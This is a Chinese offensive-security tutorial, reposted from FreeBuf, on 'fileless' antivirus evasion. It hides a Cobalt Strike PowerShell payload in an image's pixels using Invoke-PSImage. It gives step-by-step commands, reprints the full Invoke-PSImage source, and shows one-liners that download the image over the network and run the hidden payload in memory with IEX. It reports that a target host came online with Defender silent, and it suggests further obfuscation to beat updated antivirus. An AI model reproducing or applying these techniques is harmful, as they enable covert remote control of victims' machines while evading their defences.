无文件落地免杀是什么?
答:无文件顾名思义,就是无需将payload文件传到目标服务器中,攻击者可以直接利用powershell(或者其他解析器)的加载payload到内存中执行。它不光可以使攻击者更加隐蔽的进行攻击以及后续的横向移动,同时还可以解决目标不出网只能通过DNS上线时的棘手问题,操作还更加方便
补充:无文件落地的免杀分为两大类:一类是出网的情况,另一类是不出网情况
解析器是什么?有哪些种类?
答:解析器一般是指在windows环境下的能执行脚本或命令的组件;我们在利用解析器的时候可以根据攻击时利用的脚本类型进行选择,eg:
powershell====>powershell.exe
;VB.script====>cscript.exe
;bat命令 ====>cmd.exe
;javaSrtipt====>mshta.exe
一张大于等于1920*1200的图片(因为要把payload代码插入图片中,像素小了不够存放)
cobalt Strike渗透工具(版本要求不大)
Invoke-psimage脚本(这是这次免杀的关键,我们稍后分析)
payload的生成
第一步:使用CS生成.psl的payload
我们可以通过git命令,将脚本下载下来git clone https://github.com/AV1080p/Invoke-PSImage.git
;然后将CS生成.psl的payload,放入Invoke-psimage这个脚本的文件夹中即可
紧接着在Invoke-psimage的文件夹中,打开powershell,输入以下两条命令:
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\123.jpg -Out 456.jpg -Web
这里会生成一段payload代码,我们将这段代码,复制到一个.txt文本文件中,我们观察该文件发现;通过.OpenRead(http://xxxxxx)
我们可以知道,应该修改该内容,使得cs可以远程控制它
小提示:在windows环境下配置,我这里因为某些原因是在靶机上配置而成(因为是小白教程,所以考虑大家都是第一次通过powershell配置脚本,大概率会出现下面报错)
PS C:\Users\yuu\Desktop\Invoke-PSImage>Import-Module . \Invoke-PSImage.ps1
PS C:\Users\yuu\Desktop\Invoke-PSImage>Invoke-PSImage -Script . Jpayioad.ps1 -Image . \123. jpg -Out 456.jgWeb
如果出现报错;可以使用powershell管理员打开,后输入set-executionpolicy remotesigned,等待片刻选择Y即可
我们把456.jpg图片放入CS中,后打开Host File模块进行链接的制作
最后我们可以看见,联动的链接已经生成;我们把它放入.txt文本文件中代替原来的链接,并保存
我们将.txt里面的payload放入powershell中运行,我们通过CS可以发现主机上线,且def没有警告
我们把该脚本复制下来,进行分析,看看它使用了哪些方法,以及未来我们可以怎么修改它...以达到不会被更新的杀毒软件查杀的效果。接下来我们把脚本分成两个部分进行解读,第一部分是作者的解释,第二部分是免杀代码,第一部分是教学,即如何使用脚本,并说明脚本原理
function Invoke-PSImage
{
<#
.SYNOPSIS(概要)在图像中嵌入 PowerShell 脚本并生成 oneliner 来执行它
作者:Barrett Adams(@peewpw).DESCRIPTION(描述)
该工具既可以仅使用目标数据创建图像,也可以将有效负载嵌入现有图像。嵌入时2个颜色值(RGB的2个)的最低有效4位每个像素(有效载荷所需的像素数)。图像质量将受到影响结果,但它看起来仍然不错。图像保存为PNG,并且可以无损压缩而不影响执行有效载荷的能力,因为数据存储在给自己上色。它可以接受大多数图像类型作为输入,但输出始终是PNG因为它需要是无损的.PARAMETER Script(参数脚本)
要嵌入到图像中的脚本的路径。.PARAMETER Out(参数输出)
将生成的图像保存到的文件(图像会是PNG).PARAMETER Image(参数图像)
嵌入脚本的图像(可选).PARAMETER WebRequest(参数 WebRequest)
使用 Net.WebClient 输出用于从 Web 读取图像的命令;将需要托管图像并将 URL 插入命令中.EXAMPLER PictureBox(参数图片框)
使用System.Windows.Forms.PictureBox输出用于从Web读取图像的命令;您将需要托管图像并将URL插入命令中.EXAMPLE(事列)
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
[从文件执行的 Oneliner]
#>
接下来看第二部分代码,分析里面的免杀技巧
[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$Script,[Parameter(Position = 1, Mandatory = $True)]
[String]
$Out,[Parameter(Position = 2, Mandatory = $False)]
[String]
$Image,[switch] $WebClient,
[switch] $PictureBox
)
#如果我们遇到错误就停止而不是犯更多错误
$ErrorActionPreference = "Stop"#加载一些程序集
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web")#规范化路径,因为 powershell 有时对它们不好
if (-Not [System.IO.Path]::IsPathRooted($Script)){
$Script = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Script))
}
if (-Not [System.IO.Path]::IsPathRooted($Out)){
$Out = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Out))
}$testurl = "http://example.com/" + [System.IO.Path]::GetFileName($Out)
#读脚本
$ScriptBlockString = [IO.File]::ReadAllText($Script)
$in = [ScriptBlock]::Create($ScriptBlockString)
$payload = [system.Text.Encoding]::ASCII.GetBytes($in)if ($Image) {
#规范化路径
if (-Not [System.IO.Path]::IsPathRooted($Image)){
$Image = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Image))
}#将读人的图像放入"位图"
$img = New-Object System.Drawing.Bitmap($Image)$width = $img.Size.Width
$height = $img.Size.Height#将位图锁定在内存中,以便可以通过编程方式对其进行更改
$rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height);
$bmpData = $img.LockBits($rect, [System.Drawing.Imaging.ImageLockMode]::ReadWrite, $img.PixelFormat)
$ptr = $bmpData.Scan0#将RGB值复制到数组中以便于修改
$bytes = [Math]::Abs($bmpData.Stride) * $img.Height
$rgbValues = New-Object byte[] $bytes;
[System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes);#检查有效载荷是否适合图像
if($bytes/2 -lt $payload.Length) {
Write-Error "Image not large enough to contain payload!"
$img.UnlockBits($bmpData)
$img.Dispose()
Break
}#生成一个随机字符串用于填充图片中的其他像素信息
# (每次调用get-random太慢了)
$randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)
$randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)#循环遍历RGB数组并将有效负载复制到其中
for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
if ($counter -lt $payload.Length){
$paybyte1 = [math]::Floor($payload[$counter]/16)
$paybyte2 = ($payload[$counter] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
} else {
$paybyte1 = ($randb[$counter%113] -band 0x0f)
$paybyte2 = ($randb[($counter+1)%67] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
}
$rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1
$rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2
$rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3
}#将RGB值数组复制回位图
[System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes)
$img.UnlockBits($bmpData)#将图像写入文件
$img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
$img.Dispose()#得到一堆我们需要在oneliner中使用的数字
$rows = [math]::Ceiling($payload.Length/$width)
$array = ($rows*$width)
$lrows = ($rows-1)
$lwidth = ($width-1)
$lpayload = ($payload.Length-1)if($WebClient) {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} elseif($PictureBox) {
$pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} else {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G-band15))}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
}return $pscmd
} else {
# 决定我们的图像需要多大(为了方便数学,总是正方形)
$side = ([int] ([math]::ceiling([math]::Sqrt([math]::ceiling($payload.Length / 3)) + 3) / 4)) * 4# 决定我们的图像需要多大(为了方便数学,总是正方形)
$rgbValues = New-Object byte[] ($side * $side * 3);
$randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)
$randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)#循环遍历 RGB 数组并将有效负载复制到其中
for ($counter = 0; $counter -lt ($rgbValues.Length); $counter++) {
if ($counter -lt $payload.Length){
$rgbValues[$counter] = $payload[$counter]
} else {
$rgbValues[$counter] = $randb[$counter%113]
}
}#将RGB值数组复制回位图
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($rgbValues.Length)
[System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $rgbValues.Length)
$img = New-Object System.Drawing.Bitmap($side, $side, ($side*3), [System.Drawing.Imaging.PixelFormat]::Format24bppRgb, $ptr)#将图像写入文件
$img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
$img.Dispose()
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ptr);#得到一堆我们需要在oneliner中使用的数字
$array = ($side*$side)*3
$lrows = ($side-1)
$lwidth = ($side-1)
$width = ($side)
$lpayload = ($payload.Length-1)if($WebClient) {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} elseif($PictureBox) {
$pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} else {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
}return $pscmd
}
关于如何调用函数,调用了那些函数,函数的调用方式及可替代函数这部分,个人能力有限,等一段时间沉淀后会更新《无文件落地免杀的初尝试思考(下)》,希望不会让大家等太久。
我们通过Barrett Adams师傅GitHub里面的代码分析,我们发现免杀的本质还是加密与混淆;我们通过底层函数的调用与"位图"的RNG隐藏躲避了def检测,那我们把这个数据流在进行Base64加密后执行呢?我们把这个数字流通过”+“或者函数拼接呢?又或者我们改用其他不那么敏感的函数调用呢?或者用音频或者视频隐写呢?
最后,感谢大家的观阅,本文是根据格林师傅在B站上的教学视频,有感而发写成;因为笔者也是初次尝试无文件落地免杀,所以难免有一些疏漏。如果存在问题,欢迎大家在评论区指正。
作者:面包and牛奶 ,文章转载于FreeBuf.COM